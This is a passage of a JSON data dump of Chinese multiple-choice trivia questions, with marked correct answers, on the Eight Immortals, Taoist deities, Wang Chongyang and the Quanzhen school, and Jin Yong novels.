16:47:40","status":"1"},{"questionId":"6001430882","questionIndex":"1","questionStem":"八仙过海是为了参加谁的宴会?","options":"[{\"optionId\":\"LcQSx0BQjzZduN3ckfe0eFHOu_RGJURUWfto\",\"optionDesc\":\"玉皇大帝\"},{\"optionId\":\"LcQSx0BQjzZduN3ckfe0ep2923sbLhawt-vZ\",\"optionDesc\":\"王母娘娘\"},{\"optionId\":\"LcQSx0BQjzZduN3ckfe0ecp3-xGcUHLj7X0f\",\"optionDesc\":\"如来佛祖\"}]","questionToken":"LcQSx0BQjzZduN2Ogr-vKNLKn3YQSrJyGnteYQt6UOreN9L7hpt_3_UjS2TPH9FqkvcDe0DBo9F0TMG7RoTyg9gPjwS9aw","correct":"{\"optionId\":\"LcQSx0BQjzZduN3ckfe0ep2923sbLhawt-vZ\",\"optionDesc\":\"王母娘娘\"}","create_time":"2/2/2021 16:48:12","update_time":"2/2/2021 16:48:12","status":"1"},{"questionId":"6001430883","questionIndex":"4","questionStem":"吕洞宾曾对汉钟离称自己三年可度几人?","options":"[{\"optionId\":\"LcQSx0BQjzZdud3ckfe0eJGUSsBkVBCO\",\"optionDesc\":\"八人\"},{\"optionId\":\"LcQSx0BQjzZdud3ckfe0eSxFsDGiw7Mz\",\"optionDesc\":\"八千人\"},{\"optionId\":\"LcQSx0BQjzZdud3ckfe0egQRcQrUNgdP\",\"optionDesc\":\"三千人\"}]","questionToken":"LcQSx0BQjzZdud2Lgr-vKCz1nZFhCEHj2wU65pgaDLPlaReMb2PpBjiIrYfjaioe_NsqO4xlLFJsgGtgP-KqatbE7YcBtg","correct":"{\"optionId\":\"LcQSx0BQjzZdud3ckfe0egQRcQrUNgdP\",\"optionDesc\":\"三千人\"}","create_time":"2/2/2021 16:48:08","update_time":"2/2/2021 16:48:08","status":"1"},{"questionId":"6001430884","questionIndex":"4","questionStem":"传说中谁是八仙中俗家身份最高的人?","options":"[{\"optionId\":\"LcQSx0BQjzZdvt3ckfe0eoqKF9y_Y2XAEc8\",\"optionDesc\":\"曹国舅\"},{\"optionId\":\"LcQSx0BQjzZdvt3ckfe0eEro0qVAnRThm2I\",\"optionDesc\":\"吕洞宾\"},{\"optionId\":\"LcQSx0BQjzZdvt3ckfe0eZ-YKYQVvAip7HE\",\"optionDesc\":\"张果老\"}]","questionToken":"LcQSx0BQjzZdvt2Lgr-vKKunM0pFomqfHhEISz2n2xV5ojUZ7wSMtXwaXrQJ_Ne2UbVzxUSnb5j9y1vsAycG9Ee7-HFrTA","correct":"{\"optionId\":\"LcQSx0BQjzZdvt3ckfe0eoqKF9y_Y2XAEc8\",\"optionDesc\":\"曹国舅\"}","create_time":"2/2/2021 16:48:01","update_time":"2/2/2021 16:48:01","status":"1"},{"questionId":"6001430885","questionIndex":"2","questionStem":"永乐宫壁画中,以下哪座名楼与吕洞宾有关?","options":"[{\"optionId\":\"LcQSx0BQjzZdv93ckfe0eaHTVp2HQ-FhEm-6\",\"optionDesc\":\"鹳雀楼\"},{\"optionId\":\"LcQSx0BQjzZdv93ckfe0eFJDIMssO9AeKeCH\",\"optionDesc\":\"滕王阁\"},{\"optionId\":\"LcQSx0BQjzZdv93ckfe0ehoE_GbBklGtq4vh\",\"optionDesc\":\"黄鹤楼\"}]","questionToken":"LcQSx0BQjzZdv92Ngr-vKOuKY5vPLT3L3sKC3Q1lxAOnPefzE_T6iaqax-01cguIt8-douLcrpBXNrPXzOsxTPQb17NxjQ","correct":"{\"optionId\":\"LcQSx0BQjzZdv93ckfe0ehoE_GbBklGtq4vh\",\"optionDesc\":\"黄鹤楼\"}","create_time":"2/2/2021 16:47:43","update_time":"2/2/2021 16:47:43","status":"1"},{"questionId":"6001430886","questionIndex":"2","questionStem":"八仙中以下哪位和吕洞宾的不是师徒关系?","options":"[{\"optionId\":\"LcQSx0BQjzZdvN3ckfe0evVdvbwllIpE3ptUBg\",\"optionDesc\":\"张果老\"},{\"optionId\":\"LcQSx0BQjzZdvN3ckfe0eSY9dqk8RnlMQunu0Q\",\"optionDesc\":\"韩湘子\"},{\"optionId\":\"LcQSx0BQjzZdvN3ckfe0eAWH_PMOxsQj-mt4Ig\",\"optionDesc\":\"何仙姑\"}]","questionToken":"LcQSx0BQjzZdvN2Ngr-vKPtjULOwLdG0WhL0-r0saalZZyW9QGhdGZFXVx7uPhExQsCb-45Ajdtcsbdb6qZnzdbw0tgLow","correct":"{\"optionId\":\"LcQSx0BQjzZdvN3ckfe0evVdvbwllIpE3ptUBg\",\"optionDesc\":\"张果老\"}","create_time":"2/2/2021 16:48:06","update_time":"2/2/2021 16:48:06","status":"1"},{"questionId":"6001430887","questionIndex":"2","questionStem":"以下哪位神仙为传说中的“八仙之首”?","options":"[{\"optionId\":\"LcQSx0BQjzZdvd3ckfe0eawSW710Vogwl1k\",\"optionDesc\":\"吕洞宾\"},{\"optionId\":\"LcQSx0BQjzZdvd3ckfe0eDMvQ8n9vctrkFI\",\"optionDesc\":\"钟离权\"},{\"optionId\":\"LcQSx0BQjzZdvd3ckfe0eiu9NlPjWu7r_i0\",\"optionDesc\":\"铁拐李\"}]","questionToken":"LcQSx0BQjzZdvd2Ngr-vKJ5p8_SrNNZZIMtnWLzqC4NzHzVokO4Egpn7dboiBkAbYobrvuuv2pV6F6D9RaU0BrG5Nc3Eww","correct":"{\"optionId\":\"LcQSx0BQjzZdvd3ckfe0eiu9NlPjWu7r_i0\",\"optionDesc\":\"铁拐李\"}","create_time":"2/2/2021 16:47:28","update_time":"2/2/2021 16:47:28","status":"1"},{"questionId":"6001430888","questionIndex":"3","questionStem":"传说中韩湘子是以下哪位名人的亲戚?","options":"[{\"optionId\":\"LcQSx0BQjzZdst3ckfe0eFdMOV9Htwt_YM4K_A\",\"optionDesc\":\"韩非子\"},{\"optionId\":\"LcQSx0BQjzZdst3ckfe0eSOazJK2SAZxY6tRYw\",\"optionDesc\":\"韩信\"},{\"optionId\":\"LcQSx0BQjzZdst3ckfe0eixEogCU6XKfR0SogA\",\"optionDesc\":\"韩愈\"}]","questionToken":"LcQSx0BQjzZdst2Mgr-vL4pvIvp9Gq9H9BEvAyzUdAylgzb0keT6-_S7DAlkg5uW73PMbyaa3NuZQjflOBJpS1ENHEAw-Q","correct":"{\"optionId\":\"LcQSx0BQjzZdst3ckfe0eixEogCU6XKfR0SogA\",\"optionDesc\":\"韩愈\"}","create_time":"2/2/2021 16:47:55","update_time":"2/2/2021 16:47:55","status":"1"},{"questionId":"6001430889","questionIndex":"1","questionStem":"八仙中的哪一位曾元神出窍后借尸还魂?","options":"[{\"optionId\":\"LcQSx0BQjzZds93ckfe0eM5H_pYjPKlXhmo\",\"optionDesc\":\"吕洞宾\"},{\"optionId\":\"LcQSx0BQjzZds93ckfe0eqXvGav2uF_Y7cM\",\"optionDesc\":\"铁拐李\"},{\"optionId\":\"LcQSx0BQjzZds93ckfe0eYmECYg2psNadFc\",\"optionDesc\":\"何仙姑\"}]","questionToken":"LcQSx0BQjzZds92Ogr-vL8XkJmeHi8pNn9C64eRKNgmNEK4TDwKOnlt_CTghxSR7hpzllHBvLOSzGQoQQGmx6Ie394Dd-g","correct":"{\"optionId\":\"LcQSx0BQjzZds93ckfe0eqXvGav2uF_Y7cM\",\"optionDesc\":\"铁拐李\"}","create_time":"2/2/2021 16:47:48","update_time":"2/2/2021 16:47:48","status":"1"},{"questionId":"6001430890","questionIndex":"1","questionStem":"八仙中的哪一位与“竹篮打水”的故事有关?","options":"[{\"optionId\":\"LcQSx0BQjzZcut3ckfe0elNxq3sKkNWZkW9K\",\"optionDesc\":\"蓝采和\"},{\"optionId\":\"LcQSx0BQjzZcut3ckfe0eUpLKtnL89UTIVyN\",\"optionDesc\":\"韩湘子\"},{\"optionId\":\"LcQSx0BQjzZcut3ckfe0eGCSELiNHluPBj9P\",\"optionDesc\":\"张果老\"}]","questionToken":"LcQSx0BQjzZcut2Ogr-vLz-_ud_5yCneWVtrktGmqGm6dKZrYmBqKqfVsm4zHe_rWstp1hIaGiEty0S6Om0Yvf6I8c594g","correct":"{\"optionId\":\"LcQSx0BQjzZcut3ckfe0elNxq3sKkNWZkW9K\",\"optionDesc\":\"蓝采和\"}","create_time":"2/2/2021 16:47:49","update_time":"2/2/2021 16:47:49","status":"1"},{"questionId":"6001430891","questionIndex":"5","questionStem":"王重阳传说故事的壁画位于永乐宫哪个建筑?","options":"[{\"optionId\":\"LcQSx0BQjzZcu93ckfe0eByMVbp7dujuayp3Bg\",\"optionDesc\":\"三清殿\"},{\"optionId\":\"LcQSx0BQjzZcu93ckfe0eYgr8rfVTn7o1pifXA\",\"optionDesc\":\"纯阳殿\"},{\"optionId\":\"LcQSx0BQjzZcu93ckfe0et8vPjzCQJKoscM1NA\",\"optionDesc\":\"重阳殿\"}]","questionToken":"LcQSx0BQjzZcu92Kgr-vKM4WSvkVqb_wIBe1fkHDFe1j6CNMpGlEnpS6Krc8tMQ9CYsAjMX53sZpCJ84Hn2M2isPLNjzPQ","correct":"{\"optionId\":\"LcQSx0BQjzZcu93ckfe0et8vPjzCQJKoscM1NA\",\"optionDesc\":\"重阳殿\"}","create_time":"2/2/2021 16:48:12","update_time":"2/2/2021 16:48:12","status":"1"},{"questionId":"6001430892","questionIndex":"5","questionStem":"王重阳最著名的七位弟子被称作?","options":"[{\"optionId\":\"LcQSx0BQjzZcuN3ckfe0eC3r_wTq1iGgxkA\",\"optionDesc\":\"江南七怪\"},{\"optionId\":\"LcQSx0BQjzZcuN3ckfe0ekjYkTzNELA1mFY\",\"optionDesc\":\"全真七子\"},{\"optionId\":\"LcQSx0BQjzZcuN3ckfe0eWYYc54OmvQRfYg\",\"optionDesc\":\"武当七侠\"}]","questionToken":"LcQSx0BQjzZcuN2Kgr-vLw49ajDj9_6LS7EiV6B192yNBHUMRXH5hIatyWDG1xcgjgicv893Y5QA3TQF4lj6vokpWC34Sw","correct":"{\"optionId\":\"LcQSx0BQjzZcuN3ckfe0ekjYkTzNELA1mFY\",\"optionDesc\":\"全真七子\"}","create_time":"2/2/2021 16:47:29","update_time":"2/2/2021 16:47:29","status":"1"},{"questionId":"6001430893","questionIndex":"3","questionStem":"下列哪位不是王重阳的弟子全真七子之一?","options":"[{\"optionId\":\"LcQSx0BQjzZcud3ckfe0eCToQDisJix-gw\",\"optionDesc\":\"孙不二\"},{\"optionId\":\"LcQSx0BQjzZcud3ckfe0ecCpxS2TMW9gJA\",\"optionDesc\":\"丘处机\"},{\"optionId\":\"LcQSx0BQjzZcud3ckfe0erWHfVyMuVfN-A\",\"optionDesc\":\"尹志平\"}]","questionToken":"LcQSx0BQjzZcud2Mgr-vL84-6rxEdoYA5udyVd71_Bmn4pmCZzAQ4eJcrAg5Dm2eiM3tssTSmjtWSZhdQT8v6Sn50_b_Uw","correct":"{\"optionId\":\"LcQSx0BQjzZcud3ckfe0erWHfVyMuVfN-A\",\"optionDesc\":\"尹志平\"}","create_time":"2/2/2021 16:47:39","update_time":"2/2/2021 16:47:39","status":"1"},{"questionId":"6001430894","questionIndex":"5","questionStem":"王重阳没有出现在金庸的哪部小说中?","options":"[{\"optionId\":\"LcQSx0BQjzZcvt3ckfe0eZhGE-WmlYP5wF4\",\"optionDesc\":\"《神雕侠侣》\"},{\"optionId\":\"LcQSx0BQjzZcvt3ckfe0esn_FtoaGVSepvs\",\"optionDesc\":\"《倚天屠龙记》\"},{\"optionId\":\"LcQSx0BQjzZcvt3ckfe0eCyWxLsD9wxMAAQ\",\"optionDesc\":\"《射雕英雄传》\"}]","questionToken":"LcQSx0BQjzZcvt2Kgr-vKADnt9aZqP7E7kDW93_zEPQ6-y3WLssHj23HWbMsyUKaANeBVbHujjojO6tpAE9-KnjeJ0CPOA","correct":"{\"optionId\":\"LcQSx0BQjzZcvt3ckfe0esn_FtoaGVSepvs\",\"optionDesc\":\"《倚天屠龙记》\"}","create_time":"2/2/2021 16:47:32","update_time":"2/2/2021 16:47:32","status":"1"},{"questionId":"6001430895","questionIndex":"1","questionStem":"王重阳是道教哪个门派的创始人?","options":"[{\"optionId\":\"LcQSx0BQjzZcv93ckfe0ed1XaF4fQoK8thWF5Q\",\"optionDesc\":\"正一派\"},{\"optionId\":\"LcQSx0BQjzZcv93ckfe0ePeSGvJdHSW1dSKYtA\",\"optionDesc\":\"武当派\"},{\"optionId\":\"LcQSx0BQjzZcv93ckfe0emc2cwADvc39Orspqg\",\"optionDesc\":\"全真派\"}]","questionToken":"LcQSx0BQjzZcv92Ogr-vKCNvBkdyQbHtm5EsZ1QWwDlcrGcUfKes0yANIalWONFkUwGtJt6uS5RqJkONS0SNqgzF8DTTXQ","correct":"{\"optionId\":\"LcQSx0BQjzZcv93ckfe0emc2cwADvc39Orspqg\",\"optionDesc\":\"全真派\"}","create_time":"2/2/2021 16:48:18","update_time":"2/2/2021 16:48:18","status":"1"},{"questionId":"6001430896","questionIndex":"2","questionStem":"丘处机向哪位君主进献《止杀令》?","options":"[{\"optionId\":\"LcQSx0BQjzZcvN3ckfe0eVq2Tt3-nXy-Oa7P1w\",\"optionDesc\":\"忽必烈\"},{\"optionId\":\"LcQSx0BQjzZcvN3ckfe0eq7ZFTz2alS1d2hGAA\",\"optionDesc\":\"成吉思汗\"},{\"optionId\":\"LcQSx0BQjzZcvN3ckfe0eFYmcaXocF1Ai81DvA\",\"optionDesc\":\"朱元璋\"}]","questionToken":"LcQSx0BQjzZcvN2Ngr-vL3kBk2uuOfqKHpXJRBxJKoj5aAOH0nJZkwcUTW6S8mh_7WkVXtr4eIE7Z7uvkZbCjFt_5iU56g","correct":"{\"optionId\":\"LcQSx0BQjzZcvN3ckfe0eq7ZFTz2alS1d2hGAA\",\"optionDesc\":\"成吉思汗\"}","create_time":"2/2/2021 16:47:38","update_time":"2/2/2021 16:47:38","status":"1"},{"questionId":"6001430897","questionIndex":"2","questionStem":"下列哪种法器不属于道教法器?","options":"[{\"optionId\":\"LcQSx0BQjzZcvd3ckfe0eBmh7TNmGA-HhLN6wQ\",\"optionDesc\":\"宝镜\"},{\"optionId\":\"LcQSx0BQjzZcvd3ckfe0ea6uiQyfH-isTqgqIA\",\"optionDesc\":\"拂尘\"},{\"optionId\":\"LcQSx0BQjzZcvd3ckfe0em0IaFsmOxImwBrhEQ\",\"optionDesc\":\"十字架\"}]","questionToken":"LcQSx0BQjzZcvd2Ngr-vL-wp_0sUNfcYwBOOQAhURenRdpz9yv_zUPXWFQ89sKB1KKJVUzKzIr5bBAUcOw-diiG8B1ry6w","correct":"{\"optionId\":\"LcQSx0BQjzZcvd3ckfe0em0IaFsmOxImwBrhEQ\",\"optionDesc\":\"十字架\"}","create_time":"2/2/2021 16:48:14","update_time":"2/2/2021 16:48:14","status":"1"},{"questionId":"6001430898","questionIndex":"1","questionStem":"下列哪个神不属于道教中的“三清”?","options":"[{\"optionId\":\"LcQSx0BQjzZcst3ckfe0eRatmQ9nm_wvjAa3nA\",\"optionDesc\":\"太上老君\"},{\"optionId\":\"LcQSx0BQjzZcst3ckfe0envchT4SAi3rOl5oVA\",\"optionDesc\":\"玉皇大帝\"},{\"optionId\":\"LcQSx0BQjzZcst3ckfe0eO4935f7S9fwDIjx6A\",\"optionDesc\":\"元始天尊\"}]","questionToken":"LcQSx0BQjzZcst2Ogr-vL9hTitaImRj4jyZNGgPs1MA_Z7nbQPHP8fsdZ3wbEFbq69QBQnyBw5he2iDls_bS2_9CLrLOKQ","correct":"{\"optionId\":\"LcQSx0BQjzZcst3ckfe0envchT4SAi3rOl5oVA\",\"optionDesc\":\"玉皇大帝\"}","create_time":"2/2/2021 16:47:39","update_time":"2/2/2021 16:47:39","status":"1"},{"questionId":"6001430899","questionIndex":"2","questionStem":"请问下列哪位道士不属于全真派?","options":"[{\"optionId\":\"LcQSx0BQjzZcs93ckfe0elQbHmBcV8G3VoT-\",\"optionDesc\":\"张三丰\"},{\"optionId\":\"LcQSx0BQjzZcs93ckfe0eSGHIRy6-DC4N2Cr\",\"optionDesc\":\"丘处机\"},{\"optionId\":\"LcQSx0BQjzZcs93ckfe0eP0Jm4ywryrOFMMS\",\"optionDesc\":\"尹志平\"}]","questionToken":"LcQSx0BQjzZcs92Ngr-vKFtqHqNWZSjQPel2B09khUt00TpdAqQSoqe5ewdE2PD-z1jqC33LxLEPE38lfJoZcpvRLOaHTA","correct":"{\"optionId\":\"LcQSx0BQjzZcs93ckfe0elQbHmBcV8G3VoT-\",\"optionDesc\":\"张三丰\"}","create_time":"2/2/2021 16:47:45","update_time":"2/2/2021 16:47:45","status":"1"},{"questionId":"6001430900","questionIndex":"4","questionStem":"太上老君在“三清”中被称作?","options":"[{\"optionId\":\"LcQSx0BQjze5tmyuzuBc8GUKW7luRq6b38BGHg\",\"optionDesc\":\"灵宝天尊\"},{\"optionId\":\"LcQSx0BQjze5tmyuzuBc8x-K8kGeA4CAizcG3A\",\"optionDesc\":\"道德天尊\"},{\"optionId\":\"LcQSx0BQjze5tmyuzuBc8cQ9HpHXdteEyvIrJg\",\"optionDesc\":\"元始天尊\"}]","questionToken":"LcQSx0BQjze5tmz53ahHocKJG9xWC7L-0VDrW-rgQx_rdreq-oezem_oWw6_Qvs-p680eImWUOrKwt45qU2qj-H6kmznsw","correct":"{\"optionId\":\"LcQSx0BQjze5tmyuzuBc8x-K8kGeA4CAizcG3A\",\"optionDesc\":\"道德天尊\"}","create_time":"2/2/2021 16:47:53","update_time":"2/2/2021 16:47:53","status":"1"},{"questionId":"6001430901","questionIndex":"5","questionStem":"“玄元十子”是谁的弟子?","options":"[{\"optionId\":\"LcQSx0BQjze5t2yuzuBc8dPQFEuelT2tPIEz\",\"optionDesc\":\"庄子\"},{\"optionId\":\"LcQSx0BQjze5t2yuzuBc8P4GSVW2v-MpqpYK\",\"optionDesc\":\"吕洞宾\"},{\"optionId\":\"LcQSx0BQjze5t2yuzuBc8_YgQzaAhatR72U_\",\"optionDesc\":\"老子\"}]","questionToken":"LcQSx0BQjze5t2z43ahHoYez41joyFGv_NhsxUuIegs-tIqO4OBCqMvPgkrpSEFPZrvm0vZeRr3mW4SEN6a1L89DmHgd_A","correct":"{\"optionId\":\"LcQSx0BQjze5t2yuzuBc8_YgQzaAhatR72U_\",\"optionDesc\":\"老子\"}","create_time":"2/2/2021 16:47:48","update_time":"2/2/2021 16:47:48","status":"1"},{"questionId":"6001430902","questionIndex":"2","questionStem":"金庸小说中,王重阳的外号是?","options":"[{\"optionId\":\"LcQSx0BQjze5tGyuzuBc84xUHFdhQGGmNBE\",\"optionDesc\":\"中神通\"},{\"optionId\":\"LcQSx0BQjze5tGyuzuBc8NBgdZ_h9VnIO4w\",\"optionDesc\":\"神算子\"},{\"optionId\":\"LcQSx0BQjze5tGyuzuBc8Vop2fUowbjEDGc\",\"optionDesc\":\"云中鹤\"}]","questionToken":"LcQSx0BQjze5tGz_3ahHpphpKQlDnWPBFbYk5g6lM-aSITPNDnS2pNPaEUvQ727b4PZ8KQjlCdFz3A6NADx3n9OahItFjw","correct":"{\"optionId\":\"LcQSx0BQjze5tGyuzuBc84xUHFdhQGGmNBE\",\"optionDesc\":\"中神通\"}","create_time":"2/2/2021 16:47:28","update_time":"2/2/2021 16:47:28","status":"1"},{"questionId":"6001430903","questionIndex":"4","questionStem":"王重阳通过华山论剑获得了哪本武林秘籍?","options":"[{\"optionId\":\"LcQSx0BQjze5tWyuzuBc8erShgupyUkdro_u\",\"optionDesc\":\"葵花宝典\"},{\"optionId\":\"LcQSx0BQjze5tWyuzuBc8PzocDcqKxw95X_4\",\"optionDesc\":\"九阳神功\"},{\"optionId\":\"LcQSx0BQjze5tWyuzuBc83DJl6iDWQAjYeIW\",\"optionDesc\":\"九阴真经\"}]","questionToken":"LcQSx0BQjze5tWz53ahHoWkeVkCL-MxaijKqe-6LCRLo8dAc--UAVwIi117n2jdR10T0aJZoDXM21s9EDZn0hbS53rPk_A","correct":"{\"optionId\":\"LcQSx0BQjze5tWyuzuBc83DJl6iDWQAjYeIW\",\"optionDesc\":\"九阴真经\"}","create_time":"2/2/2021 16:47:55","update_time":"2/2/2021 16:47:55","status":"1"},{"questionId":"6001430904","questionIndex":"4","questionStem":"历史上王重阳通过什么选拔一度为官?","options":"[{\"optionId\":\"LcQSx0BQjze5smyuzuBc8RsERAgmD5jG03P8cA\",\"optionDesc\":\"礼部试科举\"},{\"optionId\":\"LcQSx0BQjze5smyuzuBc8LQb2U-oRwEYkxQO8Q\",\"optionDesc\":\"举孝廉\"},{\"optionId\":\"LcQSx0BQjze5smyuzuBc80aDHZSGZwyhxKAJ7g\",\"optionDesc\":\"武举\"}]","questionToken":"LcQSx0BQjze5smz53ahHptnvSWA07NhgYDPBQSs3rs9Sse7OD73FC0AvY9kxXdu-7hnE6fHS3dTa5TybJuEM7c9GCzJnWQ","correct":"{\"optionId\":\"LcQSx0BQjze5smyuzuBc80aDHZSGZwyhxKAJ7g\",\"optionDesc\":\"武举\"}","create_time":"2/2/2021 16:47:29","update_time":"2/2/2021 16:47:29","status":"1"},{"questionId":"6001430905","questionIndex":"1","questionStem":"道教中的门神是?","options":"[{\"optionId\":\"LcQSx0BQjze5s2yuzuBc8A3iJqh_mOhYUSQ6XQ\",\"optionDesc\":\"秦琼与尉迟敬德\"},{\"optionId\":\"LcQSx0BQjze5s2yuzuBc8bPWnVv6911UGPWRmw\",\"optionDesc\":\"哼哈二将\"},{\"optionId\":\"LcQSx0BQjze5s2yuzuBc894NrYy8Onmf5atmUA\",\"optionDesc\":\"青龙白虎\"}]","questionToken":"LcQSx0BQjze5s2z83ahHoZq-1XLbdb2SUNzCDurSqP8wsdEy0JOrju0JHILHhO7YYYPVxppCfAAzsyb6-TaPWiXe8EZ1Hg","correct":"{\"optionId\":\"LcQSx0BQjze5s2yuzuBc894NrYy8Onmf5atmUA\",\"optionDesc\":\"青龙白虎\"}","create_time":"2/2/2021 16:47:30","update_time":"2/2/2021 16:47:30","status":"1"},{"questionId":"6001430906","questionIndex":"4","questionStem":"道教中地位最高的神是?","options":"[{\"optionId\":\"LcQSx0BQjze5sGyuzuBc84ocQb2nyZ9FRCY\",\"optionDesc\":\"元始天尊\"},{\"optionId\":\"LcQSx0BQjze5sGyuzuBc8LNgQttCfI31KtE\",\"optionDesc\":\"灵宝天尊\"},{\"optionId\":\"LcQSx0BQjze5sGyuzuBc8ZI_txvJ9f87b9E\",\"optionDesc\":\"道德天尊\"}]","questionToken":"LcQSx0BQjze5sGz53ahHocdZoIUn2nJU_1imFh4ixfYp3NFTy6nT12eFY2_J4r-7FPi3MYkQgnXLaI635_mHOPzmT0QnPg","correct":"{\"optionId\":\"LcQSx0BQjze5sGyuzuBc84ocQb2nyZ9FRCY\",\"optionDesc\":\"元始天尊\"}","create_time":"2/2/2021 16:47:28","update_time":"2/2/2021 16:47:28","status":"1"},{"questionId":"6001430907","questionIndex":"3","questionStem":"王重阳为保护九阴真经临死前最后击败了谁?","options":"[{\"optionId\":\"LcQSx0BQjze5sWyuzuBc8VCFswQUzrW5wog\",\"optionDesc\":\"完颜洪烈\"},{\"optionId\":\"LcQSx0BQjze5sWyuzuBc8DGcWlXProCuvTY\",\"optionDesc\":\"杨康\"},{\"optionId\":\"LcQSx0BQjze5sWyuzuBc8-Lf3MQvHP90wOA\",\"optionDesc\":\"欧阳锋\"}]","questionToken":"LcQSx0BQjze5sWz-3ahHoaiY8E3enzZqJeuOg9lTXhPgKLMXndbiWHJtwkivrwmK07pEDUMonsqjrrfWmb5GbWvJzQCyAg","correct":"{\"optionId\":\"LcQSx0BQjze5sWyuzuBc8-Lf3MQvHP90wOA\",\"optionDesc\":\"欧阳锋\"}","create_time":"2/2/2021 16:47:36","update_time":"2/2/2021 16:47:36","status":"1"},{"questionId":"6001430908","questionIndex":"1","questionStem":"为克制全真派,林朝英创立了哪个门派?","options":"[{\"optionId\":\"LcQSx0BQjze5vmyuzuBc83XbLCrN7F6bzV_Q\",\"optionDesc\":\"古墓派\"},{\"optionId\":\"LcQSx0BQjze5vmyuzuBc8VC-TlQUypMQ-D8a\",\"optionDesc\":\"峨眉派\"},{\"optionId\":\"LcQSx0BQjze5vmyuzuBc8NY3pbMvRxOmiDnx\",\"optionDesc\":\"华山派\"}]","questionToken":"LcQSx0BQjze5vmz83ahHoYmoVK9miAGMlot42lrn1WWfj2CehEra18dCjaBqOhUIQUFI2Nyr2O8WnoOtEssT2Xann-JeZw","correct":"{\"optionId\":\"LcQSx0BQjze5vmyuzuBc83XbLCrN7F6bzV_Q\",\"optionDesc\":\"古墓派\"}","create_time":"2/2/2021 16:48:19","update_time":"2/2/2021 16:48:19","status":"1"},{"questionId":"6001430909","questionIndex":"5","questionStem":"哪个朝代在历史上没有大规模推崇过道教?","options":"[{\"optionId\":\"LcQSx0BQjze5v2yuzuBc8bJ7BbaqFXFW6gg\",\"optionDesc\":\"唐朝\"},{\"optionId\":\"LcQSx0BQjze5v2yuzuBc8EdRENTBf8CaKDg\",\"optionDesc\":\"蒙元\"},{\"optionId\":\"LcQSx0BQjze5v2yuzuBc8xAaDNyo8gPyGAs\",\"optionDesc\":\"清朝\"}]","questionToken":"LcQSx0BQjze5v2z43ahHpqjeKIkRi_O19Aa4ToZtrEOg3nw5LTBphBbWgTaSlhGeQcs7Pj_LEvp9uLwq8cUpPw6KXjj50w","correct":"{\"optionId\":\"LcQSx0BQjze5v2yuzuBc8xAaDNyo8gPyGAs\",\"optionDesc\":\"清朝\"}","create_time":"2/2/2021 16:47:32","update_time":"2/2/2021 16:47:32","status":"1"},{"questionId":"6001430910","questionIndex":"3","questionStem":"以下哪个宗教是在中国本土诞生的?","options":"[{\"optionId\":\"LcQSx0BQjze4tmyuzuBc8PiImvxLpCgF9bw\",\"optionDesc\":\"佛教\"},{\"optionId\":\"LcQSx0BQjze4tmyuzuBc8aOAaOq4K6eoaPs\",\"optionDesc\":\"明教\"},{\"optionId\":\"LcQSx0BQjze4tmyuzuBc81YViLmOffIDSEI\",\"optionDesc\":\"道教\"}]","questionToken":"LcQSx0BQjze4tmz-3ahHpjk39eMWLD99vqru-NdbyX3vdu_TgwM2VXhamnKHlvG5YLgSLmAOf33J2KxWkFimcODEauzdBQ","correct":"{\"optionId\":\"LcQSx0BQjze4tmyuzuBc81YViLmOffIDSEI\",\"optionDesc\":\"道教\"}","create_time":"2/2/2021 16:48:32","update_time":"2/2/2021 16:48:32","status":"1"},{"questionId":"6001430911","questionIndex":"2","questionStem":"王重阳为了聚集义军和江湖豪侠而建造了?","options":"[{\"optionId\":\"LcQSx0BQjze4t2yuzuBc8fhz4LAhp5VV7JI1\",\"optionDesc\":\"重阳宫\"},{\"optionId\":\"LcQSx0BQjze4t2yuzuBc827fbEuQpDG9OKUi\",\"optionDesc\":\"活死人墓\"},{\"optionId\":\"LcQSx0BQjze4t2yuzuBc8JXS6HY2TZIJejRo\",\"optionDesc\":\"聚贤庄\"}]","questionToken":"LcQSx0BQjze4t2z_3ahHoeMjRacbVdZ2UYdzMVBan_8eUlsS24JRvBY0Zffw6OyHY9mhxJlOMaLdGCF0xl_9SOumzznkRg","correct":"{\"optionId\":\"LcQSx0BQjze4t2yuzuBc827fbEuQpDG9OKUi\",\"optionDesc\":\"活死人墓\"}","create_time":"2/2/2021 16:48:17","update_time":"2/2/2021 16:48:17","status":"1"},{"questionId":"6001430912","questionIndex":"4","questionStem":"王重阳弟子丘处机被后世尊称为?","options":"[{\"optionId\":\"LcQSx0BQjze4tGyuzuBc8BrpNpOlPRKqsFf4\",\"optionDesc\":\"长生真人\"},{\"optionId\":\"LcQSx0BQjze4tGyuzuBc86KbV9nmR6oKFP3n\",\"optionDesc\":\"长春真人\"},{\"optionId\":\"LcQSx0BQjze4tGyuzuBc8ZKhW0k2jnH4n1TG\",\"optionDesc\":\"丹阳真人\"}]","questionToken":"LcQSx0BQjze4tGz53ahHoRpfn-h2_rFWufP2gKAzHR_1K_n1JCJC3m8kqlAOlaVDE7JHG184Y8R8qODly8anMDcRQm4vhA","correct":"{\"optionId\":\"LcQSx0BQjze4tGyuzuBc86KbV9nmR6oKFP3n\",\"optionDesc\":\"长春真人\"}","create_time":"2/2/2021 16:47:55","update_time":"2/2/2021 16:47:55","status":"1"},{"questionId":"6001430913","questionIndex":"4","questionStem":"西游记中,太上老君的哪位童子变成了妖精?","options":"[{\"optionId\":\"LcQSx0BQjze4tWyuzuBc8NzrFR_cxE120rNFUA\",\"optionDesc\":\"黄眉大王\"},{\"optionId\":\"LcQSx0BQjze4tWyuzuBc83kWaimXtdblbuyuLw\",\"optionDesc\":\"金角大王、银角大王\"},{\"optionId\":\"LcQSx0BQjze4tWyuzuBc8f6bmOw1Rw3tkOL2yA\",\"optionDesc\":\"红孩儿\"}]","questionToken":"LcQSx0BQjze4tWz53ahHoSkzcPixf7C0EIrWptPUjjoBugDJY3FlEwEKzVMjKYDG7TPfqSZXLLmC2Db0_SO5l_3qaU4Kow","correct":"{\"optionId\":\"LcQSx0BQjze4tWyuzuBc83kWaimXtdblbuyuLw\",\"optionDesc\":\"金角大王、银角大王\"}","create_time":"2/2/2021 16:47:40","update_time":"2/2/2021 